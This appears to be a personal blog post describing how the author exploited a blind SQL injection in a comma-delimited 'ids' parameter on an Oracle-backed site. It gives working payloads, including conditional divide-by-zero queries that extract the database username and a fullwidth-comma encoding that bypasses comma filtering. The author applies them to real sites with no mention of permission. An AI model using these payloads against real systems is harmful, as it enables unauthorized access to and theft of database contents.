Exploiting error-based blind SQL Injection in comma-delimited parameter value

I recently found SQL injections on two different websites that were very similar to each other. The injection was in a querystring parameter that took a comma-separated list of id numbers:

content.php?ids=1,2,3

Value from ID 1
Value from ID 2
Value from ID 3

The page returns data as long as one of the ID numbers is found:

content.php?ids=1,-9999

Value from ID 1

If no ID numbers are found a generic error message is displayed:

content.php?ids=-9999

Error: No content

I found that the page was vulnerable to SQL injection by seeing that arithmetic was being interpreted:

content.php?ids=(3-1)

Value from ID 2

Further testing showed it was an oracle database:

content.php?ids=(select 2 from dual)

Value from ID 2

So far so good. Now lets see if we can get any data out of the database through an error message:

content.php?ids=(invalid sql)

Error: No content

Darn, not only do we NOT get a SQL error message, but we can’t even tell that a SQL error occurred because we get the same error message that we get when the ID number has no content.

Luckily the fact that the parameter can contain multiple values works in our favor this time. Let’s see what happens if we give it both a valid ID and some invalid SQL:

content.php?ids=1,(invalid sql)

Error: No content

Ahh, excellent. This should have returned the content for ID 1, but because a SQL error was thrown we get the no content error instead.

We can now construct conditional error queries that will tell us yes/no answers to questions.

Is the SQL username length greater than 100?

content.php?ids=1,(select 1/0 from dual where length((select user from dual)) > 100)

Value from ID 1

No error, so the answer is no.

Is the SQL username length less than 100?

content.php?ids=1,(select 1/0 from dual where length((select user from dual)) < 100)

Error: No content

Error, so the answer is yes.

Unfortunately getting character data out of the database is not so easy because the webapp will remove the commas we need from our query.

At this point I was stumped and looked for help online.

I found this website that had a partial solution but relied on getting the data out using DNS queries. Sadly this functionality was turned off on my targets.

I found another website with some other things to try. The idea of using %82 instead of a comma didn’t work but got me thinking… would Oracle accept a unicode comma that the webapp wouldn’t interpret as a comma?

I headed over to unicode-table.com and tried a bunch of different commas until finally I found one that worked: the fullwidth comma, encoded as %EF%BC%8C.

Is the first letter of the SQL username greater than R?

content.php?ids=1,(select 1/0 from dual where substr(lower((select user from dual))%EF%BC%8C1%EF%BC%8C1) > ‘r’)

Error: No Content

Yes! Is it greater than S?

content.php?ids=1,(select 1/0 from dual where substr(lower((select user from dual))%EF%BC%8C1%EF%BC%8C1) > ‘s’)

Value from ID 1

Nope… so it is S. Sweet! 🙂

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s